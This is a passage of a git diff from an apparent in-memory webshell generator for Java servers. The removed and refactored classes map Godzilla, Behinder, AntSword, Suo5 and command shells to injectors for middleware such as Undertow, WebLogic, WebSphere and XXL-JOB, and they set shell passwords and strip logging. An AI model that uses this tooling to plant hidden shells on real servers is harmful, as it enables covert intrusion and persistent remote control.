map.put(AGENT_CONTEXT_VALVE, Pair.of(AntSwordFilterChainAdvisor.class, TongWebContextValveAgentInjector.class));
|
|
||||||
return map;
|
|
||||||
}
|
|
||||||
}
|
|
||||||
@@ -1,100 +0,0 @@
|
|||||||
package com.reajason.javaweb.memshell;
|
|
||||||
|
|
||||||
import com.reajason.javaweb.memshell.shelltool.antsword.AntSwordFilter;
|
|
||||||
import com.reajason.javaweb.memshell.shelltool.antsword.AntSwordServlet;
|
|
||||||
import com.reajason.javaweb.memshell.shelltool.behinder.BehinderFilter;
|
|
||||||
import com.reajason.javaweb.memshell.shelltool.behinder.BehinderServlet;
|
|
||||||
import com.reajason.javaweb.memshell.shelltool.command.CommandFilter;
|
|
||||||
import com.reajason.javaweb.memshell.shelltool.command.CommandServlet;
|
|
||||||
import com.reajason.javaweb.memshell.shelltool.godzilla.GodzillaFilter;
|
|
||||||
import com.reajason.javaweb.memshell.shelltool.godzilla.GodzillaServlet;
|
|
||||||
import com.reajason.javaweb.memshell.shelltool.suo5.Suo5Filter;
|
|
||||||
import com.reajason.javaweb.memshell.shelltool.suo5.Suo5Servlet;
|
|
||||||
import com.reajason.javaweb.memshell.undertow.antsword.AntSwordListener;
|
|
||||||
import com.reajason.javaweb.memshell.undertow.antsword.AntSwordServletInitialHandlerAdvisor;
|
|
||||||
import com.reajason.javaweb.memshell.undertow.behinder.BehinderListener;
|
|
||||||
import com.reajason.javaweb.memshell.undertow.behinder.BehinderServletInitialHandlerAdvisor;
|
|
||||||
import com.reajason.javaweb.memshell.undertow.command.CommandListener;
|
|
||||||
import com.reajason.javaweb.memshell.undertow.command.CommandServletInitialHandlerAdvisor;
|
|
||||||
import com.reajason.javaweb.memshell.undertow.godzilla.GodzillaListener;
|
|
||||||
import com.reajason.javaweb.memshell.undertow.godzilla.GodzillaServletInitialHandlerAdvisor;
|
|
||||||
import com.reajason.javaweb.memshell.undertow.injector.UndertowFilterInjector;
|
|
||||||
import com.reajason.javaweb.memshell.undertow.injector.UndertowListenerInjector;
|
|
||||||
import com.reajason.javaweb.memshell.undertow.injector.UndertowServletInitialHandlerAgentInjector;
|
|
||||||
import com.reajason.javaweb.memshell.undertow.injector.UndertowServletInjector;
|
|
||||||
import com.reajason.javaweb.memshell.undertow.suo5.Suo5Listener;
|
|
||||||
import org.apache.commons.lang3.tuple.Pair;
|
|
||||||
|
|
||||||
import java.util.LinkedHashMap;
|
|
||||||
import java.util.Map;
|
|
||||||
|
|
||||||
import static com.reajason.javaweb.memshell.config.Constants.*;
|
|
||||||
|
|
||||||
/**
|
|
||||||
* @author ReaJason
|
|
||||||
* @since 2024/12/10
|
|
||||||
*/
|
|
||||||
public class UndertowShell extends AbstractShell {
|
|
||||||
public static final String AGENT_SERVLET_HANDLER = AGENT + "ServletHandler";
|
|
||||||
|
|
||||||
@Override
|
|
||||||
protected Map<String, Pair<Class<?>, Class<?>>> getCommandShellMap() {
|
|
||||||
Map<String, Pair<Class<?>, Class<?>>> map = new LinkedHashMap<>();
|
|
||||||
map.put(SERVLET, Pair.of(CommandServlet.class, UndertowServletInjector.class));
|
|
||||||
map.put(JAKARTA_SERVLET, Pair.of(CommandServlet.class, UndertowServletInjector.class));
|
|
||||||
map.put(FILTER, Pair.of(CommandFilter.class, UndertowFilterInjector.class));
|
|
||||||
map.put(JAKARTA_FILTER, Pair.of(CommandFilter.class, UndertowFilterInjector.class));
|
|
||||||
map.put(LISTENER, Pair.of(CommandListener.class, UndertowListenerInjector.class));
|
|
||||||
map.put(JAKARTA_LISTENER, Pair.of(CommandListener.class, UndertowListenerInjector.class));
|
|
||||||
map.put(AGENT_SERVLET_HANDLER, Pair.of(CommandServletInitialHandlerAdvisor.class, UndertowServletInitialHandlerAgentInjector.class));
|
|
||||||
return map;
|
|
||||||
}
|
|
||||||
|
|
||||||
@Override
|
|
||||||
protected Map<String, Pair<Class<?>, Class<?>>> getGodzillaShellMap() {
|
|
||||||
Map<String, Pair<Class<?>, Class<?>>> map = new LinkedHashMap<>();
|
|
||||||
map.put(SERVLET, Pair.of(GodzillaServlet.class, UndertowServletInjector.class));
|
|
||||||
map.put(JAKARTA_SERVLET, Pair.of(GodzillaServlet.class, UndertowServletInjector.class));
|
|
||||||
map.put(FILTER, Pair.of(GodzillaFilter.class, UndertowFilterInjector.class));
|
|
||||||
map.put(JAKARTA_FILTER, Pair.of(GodzillaFilter.class, UndertowFilterInjector.class));
|
|
||||||
map.put(LISTENER, Pair.of(GodzillaListener.class, UndertowListenerInjector.class));
|
|
||||||
map.put(JAKARTA_LISTENER, Pair.of(GodzillaListener.class, UndertowListenerInjector.class));
|
|
||||||
map.put(AGENT_SERVLET_HANDLER, Pair.of(GodzillaServletInitialHandlerAdvisor.class, UndertowServletInitialHandlerAgentInjector.class));
|
|
||||||
return map;
|
|
||||||
}
|
|
||||||
|
|
||||||
@Override
|
|
||||||
protected Map<String, Pair<Class<?>, Class<?>>> getBehinderShellMap() {
|
|
||||||
Map<String, Pair<Class<?>, Class<?>>> map = new LinkedHashMap<>();
|
|
||||||
map.put(SERVLET, Pair.of(BehinderServlet.class, UndertowServletInjector.class));
|
|
||||||
map.put(JAKARTA_SERVLET, Pair.of(BehinderServlet.class, UndertowServletInjector.class));
|
|
||||||
map.put(FILTER, Pair.of(BehinderFilter.class, UndertowFilterInjector.class));
|
|
||||||
map.put(JAKARTA_FILTER, Pair.of(BehinderFilter.class, UndertowFilterInjector.class));
|
|
||||||
map.put(LISTENER, Pair.of(BehinderListener.class, UndertowListenerInjector.class));
|
|
||||||
map.put(JAKARTA_LISTENER, Pair.of(BehinderListener.class, UndertowListenerInjector.class));
|
|
||||||
map.put(AGENT_SERVLET_HANDLER, Pair.of(BehinderServletInitialHandlerAdvisor.class, UndertowServletInitialHandlerAgentInjector.class));
|
|
||||||
return map;
|
|
||||||
}
|
|
||||||
|
|
||||||
@Override
|
|
||||||
protected Map<String, Pair<Class<?>, Class<?>>> getSuo5ShellMap() {
|
|
||||||
Map<String, Pair<Class<?>, Class<?>>> map = new LinkedHashMap<>();
|
|
||||||
map.put(SERVLET, Pair.of(Suo5Servlet.class, UndertowServletInjector.class));
|
|
||||||
map.put(JAKARTA_SERVLET, Pair.of(Suo5Servlet.class, UndertowServletInjector.class));
|
|
||||||
map.put(FILTER, Pair.of(Suo5Filter.class, UndertowFilterInjector.class));
|
|
||||||
map.put(JAKARTA_FILTER, Pair.of(Suo5Filter.class, UndertowFilterInjector.class));
|
|
||||||
map.put(LISTENER, Pair.of(Suo5Listener.class, UndertowListenerInjector.class));
|
|
||||||
map.put(JAKARTA_LISTENER, Pair.of(Suo5Listener.class, UndertowListenerInjector.class));
|
|
||||||
return map;
|
|
||||||
}
|
|
||||||
|
|
||||||
@Override
|
|
||||||
protected Map<String, Pair<Class<?>, Class<?>>> getAntSwordShellMap() {
|
|
||||||
Map<String, Pair<Class<?>, Class<?>>> map = new LinkedHashMap<>();
|
|
||||||
map.put(SERVLET, Pair.of(AntSwordServlet.class, UndertowServletInjector.class));
|
|
||||||
map.put(FILTER, Pair.of(AntSwordFilter.class, UndertowFilterInjector.class));
|
|
||||||
map.put(LISTENER, Pair.of(AntSwordListener.class, UndertowListenerInjector.class));
|
|
||||||
map.put(AGENT_SERVLET_HANDLER, Pair.of(AntSwordServletInitialHandlerAdvisor.class, UndertowServletInitialHandlerAgentInjector.class));
|
|
||||||
return map;
|
|
||||||
}
|
|
||||||
}
|
|
||||||
@@ -1,88 +0,0 @@
|
|||||||
package com.reajason.javaweb.memshell;
|
|
||||||
|
|
||||||
import com.reajason.javaweb.memshell.shelltool.antsword.AntSwordFilter;
|
|
||||||
import com.reajason.javaweb.memshell.shelltool.antsword.AntSwordFilterChainAdvisor;
|
|
||||||
import com.reajason.javaweb.memshell.shelltool.antsword.AntSwordServlet;
|
|
||||||
import com.reajason.javaweb.memshell.shelltool.behinder.BehinderFilter;
|
|
||||||
import com.reajason.javaweb.memshell.shelltool.behinder.BehinderFilterChainAdvisor;
|
|
||||||
import com.reajason.javaweb.memshell.shelltool.behinder.BehinderServlet;
|
|
||||||
import com.reajason.javaweb.memshell.shelltool.command.CommandFilter;
|
|
||||||
import com.reajason.javaweb.memshell.shelltool.command.CommandFilterChainAdvisor;
|
|
||||||
import com.reajason.javaweb.memshell.shelltool.command.CommandServlet;
|
|
||||||
import com.reajason.javaweb.memshell.shelltool.godzilla.GodzillaFilter;
|
|
||||||
import com.reajason.javaweb.memshell.shelltool.godzilla.GodzillaFilterChainAdvisor;
|
|
||||||
import com.reajason.javaweb.memshell.shelltool.godzilla.GodzillaServlet;
|
|
||||||
import com.reajason.javaweb.memshell.shelltool.suo5.Suo5Filter;
|
|
||||||
import com.reajason.javaweb.memshell.shelltool.suo5.Suo5Servlet;
|
|
||||||
import com.reajason.javaweb.memshell.weblogic.antsword.AntSwordListener;
|
|
||||||
import com.reajason.javaweb.memshell.weblogic.behinder.BehinderListener;
|
|
||||||
import com.reajason.javaweb.memshell.weblogic.command.CommandListener;
|
|
||||||
import com.reajason.javaweb.memshell.weblogic.godzilla.GodzillaListener;
|
|
||||||
import com.reajason.javaweb.memshell.weblogic.injector.WebLogicFilterInjector;
|
|
||||||
import com.reajason.javaweb.memshell.weblogic.injector.WebLogicListenerInjector;
|
|
||||||
import com.reajason.javaweb.memshell.weblogic.injector.WebLogicServletContextAgentInjector;
|
|
||||||
import com.reajason.javaweb.memshell.weblogic.injector.WebLogicServletInjector;
|
|
||||||
import com.reajason.javaweb.memshell.weblogic.suo5.Suo5Listener;
|
|
||||||
import org.apache.commons.lang3.tuple.Pair;
|
|
||||||
|
|
||||||
import java.util.LinkedHashMap;
|
|
||||||
import java.util.Map;
|
|
||||||
|
|
||||||
import static com.reajason.javaweb.memshell.config.Constants.*;
|
|
||||||
|
|
||||||
/**
|
|
||||||
* @author ReaJason
|
|
||||||
* @since 2024/12/24
|
|
||||||
*/
|
|
||||||
public class WebLogicShell extends AbstractShell {
|
|
||||||
public static final String AGENT_SERVLET_CONTEXT = AGENT + "ServletContext";
|
|
||||||
|
|
||||||
@Override
|
|
||||||
protected Map<String, Pair<Class<?>, Class<?>>> getBehinderShellMap() {
|
|
||||||
Map<String, Pair<Class<?>, Class<?>>> map = new LinkedHashMap<>();
|
|
||||||
map.put(SERVLET, Pair.of(BehinderServlet.class, WebLogicServletInjector.class));
|
|
||||||
map.put(FILTER, Pair.of(BehinderFilter.class, WebLogicFilterInjector.class));
|
|
||||||
map.put(LISTENER, Pair.of(BehinderListener.class, WebLogicListenerInjector.class));
|
|
||||||
map.put(AGENT_SERVLET_CONTEXT, Pair.of(BehinderFilterChainAdvisor.class, WebLogicServletContextAgentInjector.class));
|
|
||||||
return map;
|
|
||||||
}
|
|
||||||
|
|
||||||
@Override
|
|
||||||
protected Map<String, Pair<Class<?>, Class<?>>> getCommandShellMap() {
|
|
||||||
Map<String, Pair<Class<?>, Class<?>>> map = new LinkedHashMap<>();
|
|
||||||
map.put(SERVLET, Pair.of(CommandServlet.class, WebLogicServletInjector.class));
|
|
||||||
map.put(FILTER, Pair.of(CommandFilter.class, WebLogicFilterInjector.class));
|
|
||||||
map.put(LISTENER, Pair.of(CommandListener.class, WebLogicListenerInjector.class));
|
|
||||||
map.put(AGENT_SERVLET_CONTEXT, Pair.of(CommandFilterChainAdvisor.class, WebLogicServletContextAgentInjector.class));
|
|
||||||
return map;
|
|
||||||
}
|
|
||||||
|
|
||||||
@Override
|
|
||||||
protected Map<String, Pair<Class<?>, Class<?>>> getGodzillaShellMap() {
|
|
||||||
Map<String, Pair<Class<?>, Class<?>>> map = new LinkedHashMap<>();
|
|
||||||
map.put(SERVLET, Pair.of(GodzillaServlet.class, WebLogicServletInjector.class));
|
|
||||||
map.put(FILTER, Pair.of(GodzillaFilter.class, WebLogicFilterInjector.class));
|
|
||||||
map.put(LISTENER, Pair.of(GodzillaListener.class, WebLogicListenerInjector.class));
|
|
||||||
map.put(AGENT_SERVLET_CONTEXT, Pair.of(GodzillaFilterChainAdvisor.class, WebLogicServletContextAgentInjector.class));
|
|
||||||
return map;
|
|
||||||
}
|
|
||||||
|
|
||||||
@Override
|
|
||||||
protected Map<String, Pair<Class<?>, Class<?>>> getSuo5ShellMap() {
|
|
||||||
Map<String, Pair<Class<?>, Class<?>>> map = new LinkedHashMap<>();
|
|
||||||
map.put(SERVLET, Pair.of(Suo5Servlet.class, WebLogicServletInjector.class));
|
|
||||||
map.put(FILTER, Pair.of(Suo5Filter.class, WebLogicFilterInjector.class));
|
|
||||||
map.put(LISTENER, Pair.of(Suo5Listener.class, WebLogicListenerInjector.class));
|
|
||||||
return map;
|
|
||||||
}
|
|
||||||
|
|
||||||
@Override
|
|
||||||
protected Map<String, Pair<Class<?>, Class<?>>> getAntSwordShellMap() {
|
|
||||||
Map<String, Pair<Class<?>, Class<?>>> map = new LinkedHashMap<>();
|
|
||||||
map.put(SERVLET, Pair.of(AntSwordServlet.class, WebLogicServletInjector.class));
|
|
||||||
map.put(FILTER, Pair.of(AntSwordFilter.class, WebLogicFilterInjector.class));
|
|
||||||
map.put(LISTENER, Pair.of(AntSwordListener.class, WebLogicListenerInjector.class));
|
|
||||||
map.put(AGENT_SERVLET_CONTEXT, Pair.of(AntSwordFilterChainAdvisor.class, WebLogicServletContextAgentInjector.class));
|
|
||||||
return map;
|
|
||||||
}
|
|
||||||
}
|
|
||||||
@@ -1,88 +0,0 @@
|
|||||||
package com.reajason.javaweb.memshell;
|
|
||||||
|
|
||||||
import com.reajason.javaweb.memshell.shelltool.antsword.AntSwordFilter;
|
|
||||||
import com.reajason.javaweb.memshell.shelltool.antsword.AntSwordFilterChainAdvisor;
|
|
||||||
import com.reajason.javaweb.memshell.shelltool.antsword.AntSwordServlet;
|
|
||||||
import com.reajason.javaweb.memshell.shelltool.behinder.BehinderFilter;
|
|
||||||
import com.reajason.javaweb.memshell.shelltool.behinder.BehinderFilterChainAdvisor;
|
|
||||||
import com.reajason.javaweb.memshell.shelltool.behinder.BehinderServlet;
|
|
||||||
import com.reajason.javaweb.memshell.shelltool.command.CommandFilter;
|
|
||||||
import com.reajason.javaweb.memshell.shelltool.command.CommandFilterChainAdvisor;
|
|
||||||
import com.reajason.javaweb.memshell.shelltool.command.CommandServlet;
|
|
||||||
import com.reajason.javaweb.memshell.shelltool.godzilla.GodzillaFilter;
|
|
||||||
import com.reajason.javaweb.memshell.shelltool.godzilla.GodzillaFilterChainAdvisor;
|
|
||||||
import com.reajason.javaweb.memshell.shelltool.godzilla.GodzillaServlet;
|
|
||||||
import com.reajason.javaweb.memshell.shelltool.suo5.Suo5Filter;
|
|
||||||
import com.reajason.javaweb.memshell.shelltool.suo5.Suo5Servlet;
|
|
||||||
import com.reajason.javaweb.memshell.websphere.antsword.AntSwordListener;
|
|
||||||
import com.reajason.javaweb.memshell.websphere.behinder.BehinderListener;
|
|
||||||
import com.reajason.javaweb.memshell.websphere.command.CommandListener;
|
|
||||||
import com.reajason.javaweb.memshell.websphere.godzilla.GodzillaListener;
|
|
||||||
import com.reajason.javaweb.memshell.websphere.injector.WebSphereFilterChainAgentInjector;
|
|
||||||
import com.reajason.javaweb.memshell.websphere.injector.WebSphereFilterInjector;
|
|
||||||
import com.reajason.javaweb.memshell.websphere.injector.WebSphereListenerInjector;
|
|
||||||
import com.reajason.javaweb.memshell.websphere.injector.WebSphereServletInjector;
|
|
||||||
import com.reajason.javaweb.memshell.websphere.suo5.Suo5Listener;
|
|
||||||
import org.apache.commons.lang3.tuple.Pair;
|
|
||||||
|
|
||||||
import java.util.LinkedHashMap;
|
|
||||||
import java.util.Map;
|
|
||||||
|
|
||||||
import static com.reajason.javaweb.memshell.config.Constants.*;
|
|
||||||
|
|
||||||
/**
|
|
||||||
* @author ReaJason
|
|
||||||
* @since 2024/12/21
|
|
||||||
*/
|
|
||||||
public class WebSphereShell extends AbstractShell {
|
|
||||||
public static final String AGENT_FILTER_MANAGER = AGENT + "FilterManager";
|
|
||||||
|
|
||||||
@Override
|
|
||||||
protected Map<String, Pair<Class<?>, Class<?>>> getCommandShellMap() {
|
|
||||||
Map<String, Pair<Class<?>, Class<?>>> map = new LinkedHashMap<>();
|
|
||||||
map.put(SERVLET, Pair.of(CommandServlet.class, WebSphereServletInjector.class));
|
|
||||||
map.put(FILTER, Pair.of(CommandFilter.class, WebSphereFilterInjector.class));
|
|
||||||
map.put(LISTENER, Pair.of(CommandListener.class, WebSphereListenerInjector.class));
|
|
||||||
map.put(AGENT_FILTER_MANAGER, Pair.of(CommandFilterChainAdvisor.class, WebSphereFilterChainAgentInjector.class));
|
|
||||||
return map;
|
|
||||||
}
|
|
||||||
|
|
||||||
@Override
|
|
||||||
protected Map<String, Pair<Class<?>, Class<?>>> getGodzillaShellMap() {
|
|
||||||
Map<String, Pair<Class<?>, Class<?>>> map = new LinkedHashMap<>();
|
|
||||||
map.put(SERVLET, Pair.of(GodzillaServlet.class, WebSphereServletInjector.class));
|
|
||||||
map.put(FILTER, Pair.of(GodzillaFilter.class, WebSphereFilterInjector.class));
|
|
||||||
map.put(LISTENER, Pair.of(GodzillaListener.class, WebSphereListenerInjector.class));
|
|
||||||
map.put(AGENT_FILTER_MANAGER, Pair.of(GodzillaFilterChainAdvisor.class, WebSphereFilterChainAgentInjector.class));
|
|
||||||
return map;
|
|
||||||
}
|
|
||||||
|
|
||||||
@Override
|
|
||||||
protected Map<String, Pair<Class<?>, Class<?>>> getBehinderShellMap() {
|
|
||||||
Map<String, Pair<Class<?>, Class<?>>> map = new LinkedHashMap<>();
|
|
||||||
map.put(SERVLET, Pair.of(BehinderServlet.class, WebSphereServletInjector.class));
|
|
||||||
map.put(FILTER, Pair.of(BehinderFilter.class, WebSphereFilterInjector.class));
|
|
||||||
map.put(LISTENER, Pair.of(BehinderListener.class, WebSphereListenerInjector.class));
|
|
||||||
map.put(AGENT_FILTER_MANAGER, Pair.of(BehinderFilterChainAdvisor.class, WebSphereFilterChainAgentInjector.class));
|
|
||||||
return map;
|
|
||||||
}
|
|
||||||
|
|
||||||
@Override
|
|
||||||
protected Map<String, Pair<Class<?>, Class<?>>> getSuo5ShellMap() {
|
|
||||||
Map<String, Pair<Class<?>, Class<?>>> map = new LinkedHashMap<>();
|
|
||||||
map.put(SERVLET, Pair.of(Suo5Servlet.class, WebSphereServletInjector.class));
|
|
||||||
map.put(FILTER, Pair.of(Suo5Filter.class, WebSphereFilterInjector.class));
|
|
||||||
map.put(LISTENER, Pair.of(Suo5Listener.class, WebSphereListenerInjector.class));
|
|
||||||
return map;
|
|
||||||
}
|
|
||||||
|
|
||||||
@Override
|
|
||||||
protected Map<String, Pair<Class<?>, Class<?>>> getAntSwordShellMap() {
|
|
||||||
Map<String, Pair<Class<?>, Class<?>>> map = new LinkedHashMap<>();
|
|
||||||
map.put(SERVLET, Pair.of(AntSwordServlet.class, WebSphereServletInjector.class));
|
|
||||||
map.put(FILTER, Pair.of(AntSwordFilter.class, WebSphereFilterInjector.class));
|
|
||||||
map.put(LISTENER, Pair.of(AntSwordListener.class, WebSphereListenerInjector.class));
|
|
||||||
map.put(AGENT_FILTER_MANAGER, Pair.of(AntSwordFilterChainAdvisor.class, WebSphereFilterChainAgentInjector.class));
|
|
||||||
return map;
|
|
||||||
}
|
|
||||||
}
|
|
||||||
@@ -1,31 +0,0 @@
|
|||||||
package com.reajason.javaweb.memshell;
|
|
||||||
|
|
||||||
import com.reajason.javaweb.memshell.springwebflux.command.CommandNettyHandler;
|
|
||||||
import com.reajason.javaweb.memshell.springwebflux.godzilla.GodzillaNettyHandler;
|
|
||||||
import com.reajason.javaweb.memshell.xxljob.injector.XxlJobNettyHandlerInjector;
|
|
||||||
import org.apache.commons.lang3.tuple.Pair;
|
|
||||||
|
|
||||||
import java.util.LinkedHashMap;
|
|
||||||
import java.util.Map;
|
|
||||||
|
|
||||||
/**
|
|
||||||
* @author ReaJason
|
|
||||||
* @since 2025/1/21
|
|
||||||
*/
|
|
||||||
public class XxlJobShell extends AbstractShell {
|
|
||||||
public static final String NETTY_HANDLER = "NettyHandler";
|
|
||||||
|
|
||||||
@Override
|
|
||||||
protected Map<String, Pair<Class<?>, Class<?>>> getCommandShellMap() {
|
|
||||||
Map<String, Pair<Class<?>, Class<?>>> map = new LinkedHashMap<>();
|
|
||||||
map.put(NETTY_HANDLER, Pair.of(CommandNettyHandler.class, XxlJobNettyHandlerInjector.class));
|
|
||||||
return map;
|
|
||||||
}
|
|
||||||
|
|
||||||
@Override
|
|
||||||
protected Map<String, Pair<Class<?>, Class<?>>> getGodzillaShellMap() {
|
|
||||||
Map<String, Pair<Class<?>, Class<?>>> map = new LinkedHashMap<>();
|
|
||||||
map.put(NETTY_HANDLER, Pair.of(GodzillaNettyHandler.class, XxlJobNettyHandlerInjector.class));
|
|
||||||
return map;
|
|
||||||
}
|
|
||||||
}
|
|
||||||
@@ -1,25 +0,0 @@
|
|||||||
package com.reajason.javaweb.memshell.config;
|
|
||||||
|
|
||||||
import net.bytebuddy.jar.asm.Opcodes;
|
|
||||||
|
|
||||||
/**
|
|
||||||
* @author ReaJason
|
|
||||||
* @since 2024/11/28
|
|
||||||
*/
|
|
||||||
public class Constants {
|
|
||||||
public static final int DEFAULT_VERSION = Opcodes.V1_6;
|
|
||||||
|
|
||||||
public static final String SERVLET = "Servlet";
|
|
||||||
public static final String JAKARTA_SERVLET = "JakartaServlet";
|
|
||||||
public static final String FILTER = "Filter";
|
|
||||||
public static final String JAKARTA_FILTER = "JakartaFilter";
|
|
||||||
public static final String LISTENER = "Listener";
|
|
||||||
public static final String JAKARTA_LISTENER = "JakartaListener";
|
|
||||||
|
|
||||||
public static final String VALVE = "Valve";
|
|
||||||
public static final String JAKARTA_VALVE = "JakartaValve";
|
|
||||||
|
|
||||||
public static final String AGENT = "Agent";
|
|
||||||
public static final String AGENT_FILTER_CHAIN = AGENT + "FilterChain";
|
|
||||||
public static final String AGENT_CONTEXT_VALVE = AGENT + "ContextValve";
|
|
||||||
}
|
|
||||||
@@ -1,96 +0,0 @@
|
|||||||
package com.reajason.javaweb.memshell.config;
|
|
||||||
|
|
||||||
import com.reajason.javaweb.memshell.*;
|
|
||||||
import lombok.Getter;
|
|
||||||
|
|
||||||
/**
|
|
||||||
* @author ReaJason
|
|
||||||
* @since 2024/11/22
|
|
||||||
*/
|
|
||||||
@Getter
|
|
||||||
public enum Server {
|
|
||||||
/**
|
|
||||||
* Tomcat 中间件
|
|
||||||
*/
|
|
||||||
Tomcat(new TomcatShell()),
|
|
||||||
/**
|
|
||||||
* Jetty 中间件
|
|
||||||
*/
|
|
||||||
Jetty(new JettyShell()),
|
|
||||||
/**
|
|
||||||
* JBoss AS 中间件, JBoss 6.4-EAP 也使用的当前方式 <a href="https://jbossas.jboss.org/downloads">JBoss AS</a>
|
|
||||||
*/
|
|
||||||
JBossAS(new JbossShell()),
|
|
||||||
JBossEAP6(new JbossShell()),
|
|
||||||
/**
|
|
||||||
* Undertow,对应是 Wildfly 以及 JBoss EAP,也有可能是 SpringBoot 用的
|
|
||||||
* <a href="https://developers.redhat.com/products/eap/download">JBossEAP</a>
|
|
||||||
*/
|
|
||||||
Undertow(new UndertowShell()),
|
|
||||||
JBossEAP7(new UndertowShell()),
|
|
||||||
WildFly(new UndertowShell()),
|
|
||||||
|
|
||||||
/**
|
|
||||||
* SpringMVC 框架
|
|
||||||
*/
|
|
||||||
SpringWebMvc(new SpringWebMvcShell()),
|
|
||||||
|
|
||||||
/**
|
|
||||||
* Spring WebFlux 框架
|
|
||||||
*/
|
|
||||||
SpringWebFlux(new SpringWebFluxShell()),
|
|
||||||
|
|
||||||
/**
|
|
||||||
* WebSphere 中间件
|
|
||||||
*/
|
|
||||||
WebSphere(new WebSphereShell()),
|
|
||||||
|
|
||||||
/**
|
|
||||||
* WebLogic 中间件
|
|
||||||
*/
|
|
||||||
WebLogic(new WebLogicShell()),
|
|
||||||
|
|
||||||
/**
|
|
||||||
* Resin 中间件, <a href="https://caucho.com/products/resin/download">Resin</a>
|
|
||||||
*/
|
|
||||||
Resin(new ResinShell()),
|
|
||||||
|
|
||||||
/**
|
|
||||||
* GlassFish 中间件
|
|
||||||
*/
|
|
||||||
GlassFish(new GlassFishShell()),
|
|
||||||
Payara(new GlassFishShell()),
|
|
||||||
|
|
||||||
/**
|
|
||||||
* 宝兰德中间件
|
|
||||||
*/
|
|
||||||
BES(new BesShell()),
|
|
||||||
|
|
||||||
/**
|
|
||||||
* 东方通中间件
|
|
||||||
*/
|
|
||||||
TongWeb6(new TongWeb6Shell()),
|
|
||||||
TongWeb7(new TongWeb7Shell()),
|
|
||||||
|
|
||||||
/**
|
|
||||||
* 金蝶天燕中间件
|
|
||||||
*/
|
|
||||||
Apusic(new ApusicShell()),
|
|
||||||
|
|
||||||
/**
|
|
||||||
* 中创中间件
|
|
||||||
*/
|
|
||||||
InforSuite(new InforSuiteShell()),
|
|
||||||
|
|
||||||
/**
|
|
||||||
* XXL-JOB
|
|
||||||
*/
|
|
||||||
XXLJOB(new XxlJobShell())
|
|
||||||
;
|
|
||||||
|
|
||||||
private final AbstractShell shell;
|
|
||||||
|
|
||||||
Server(AbstractShell shell) {
|
|
||||||
this.shell = shell;
|
|
||||||
}
|
|
||||||
}
|
|
||||||
@@ -1,5 +1,7 @@
|
|||||||
package com.reajason.javaweb.memshell.config;
|
package com.reajason.javaweb.memshell.config;
|
||||||
|
|
||||||
|
import com.reajason.javaweb.memshell.Server;
|
||||||
|
import com.reajason.javaweb.memshell.ShellTool;
|
||||||
import lombok.AllArgsConstructor;
|
import lombok.AllArgsConstructor;
|
||||||
import lombok.Builder;
|
import lombok.Builder;
|
||||||
import lombok.Data;
|
import lombok.Data;
|
||||||
@@ -35,7 +37,7 @@ public class ShellConfig {
|
|||||||
* 生成类的目标 JRE 版本
|
* 生成类的目标 JRE 版本
|
||||||
*/
|
*/
|
||||||
@Builder.Default
|
@Builder.Default
|
||||||
private int targetJreVersion = Constants.DEFAULT_VERSION;
|
private int targetJreVersion = Opcodes.V1_6;
|
||||||
|
|
||||||
/**
|
/**
|
||||||
* 是否需要移除模块限制
|
* 是否需要移除模块限制
|
||||||
|
|||||||
@@ -1,8 +1,6 @@
|
|||||||
package com.reajason.javaweb.memshell.config;
|
package com.reajason.javaweb.memshell.config;
|
||||||
|
|
||||||
import com.reajason.javaweb.memshell.utils.CommonUtil;
|
|
||||||
import lombok.AllArgsConstructor;
|
import lombok.AllArgsConstructor;
|
||||||
import lombok.Builder;
|
|
||||||
import lombok.Data;
|
import lombok.Data;
|
||||||
import lombok.NoArgsConstructor;
|
import lombok.NoArgsConstructor;
|
||||||
import lombok.experimental.SuperBuilder;
|
import lombok.experimental.SuperBuilder;
|
||||||
|
|||||||
+8
-8
@@ -4,14 +4,14 @@ import com.reajason.javaweb.buddy.LdcReAssignVisitorWrapper;
|
|||||||
import com.reajason.javaweb.buddy.LogRemoveMethodVisitor;
|
import com.reajason.javaweb.buddy.LogRemoveMethodVisitor;
|
||||||
import com.reajason.javaweb.buddy.ServletRenameVisitorWrapper;
|
import com.reajason.javaweb.buddy.ServletRenameVisitorWrapper;
|
||||||
import com.reajason.javaweb.buddy.TargetJreVersionVisitorWrapper;
|
import com.reajason.javaweb.buddy.TargetJreVersionVisitorWrapper;
|
||||||
|
import com.reajason.javaweb.memshell.ShellType;
|
||||||
import com.reajason.javaweb.memshell.config.AntSwordConfig;
|
import com.reajason.javaweb.memshell.config.AntSwordConfig;
|
||||||
import com.reajason.javaweb.memshell.config.Constants;
|
|
||||||
import com.reajason.javaweb.memshell.config.ShellConfig;
|
import com.reajason.javaweb.memshell.config.ShellConfig;
|
||||||
import net.bytebuddy.ByteBuddy;
|
import net.bytebuddy.ByteBuddy;
|
||||||
import net.bytebuddy.dynamic.DynamicType;
|
import net.bytebuddy.dynamic.DynamicType;
|
||||||
import org.apache.commons.lang3.StringUtils;
|
import org.apache.commons.lang3.StringUtils;
|
||||||
|
|
||||||
import java.util.Map;
|
import java.util.HashMap;
|
||||||
|
|
||||||
import static net.bytebuddy.matcher.ElementMatchers.named;
|
import static net.bytebuddy.matcher.ElementMatchers.named;
|
||||||
|
|
||||||
@@ -48,13 +48,13 @@ public class AntSwordGenerator {
|
|||||||
builder = LogRemoveMethodVisitor.extend(builder);
|
builder = LogRemoveMethodVisitor.extend(builder);
|
||||||
}
|
}
|
||||||
|
|
||||||
if (shellConfig.getShellType().startsWith(Constants.AGENT)) {
|
if (shellConfig.getShellType().startsWith(ShellType.AGENT)) {
|
||||||
builder = builder.visit(
|
builder = builder.visit(
|
||||||
new LdcReAssignVisitorWrapper(Map.of(
|
new LdcReAssignVisitorWrapper(new HashMap<Object, Object>(3) {{
|
||||||
"pass", antSwordConfig.getPass(),
|
put("pass", antSwordConfig.getPass());
|
||||||
"headerName", antSwordConfig.getHeaderName(),
|
put("headerName", antSwordConfig.getHeaderName());
|
||||||
"headerValue", antSwordConfig.getHeaderValue()
|
put("headerValue", antSwordConfig.getHeaderValue());
|
||||||
))
|
}})
|
||||||
);
|
);
|
||||||
} else {
|
} else {
|
||||||
builder = builder.field(named("pass")).value(antSwordConfig.getPass())
|
builder = builder.field(named("pass")).value(antSwordConfig.getPass())
|
||||||
|
|||||||
+8
-8
@@ -4,15 +4,15 @@ import com.reajason.javaweb.buddy.LdcReAssignVisitorWrapper;
|
|||||||
import com.reajason.javaweb.buddy.LogRemoveMethodVisitor;
|
import com.reajason.javaweb.buddy.LogRemoveMethodVisitor;
|
||||||
import com.reajason.javaweb.buddy.ServletRenameVisitorWrapper;
|
import com.reajason.javaweb.buddy.ServletRenameVisitorWrapper;
|
||||||
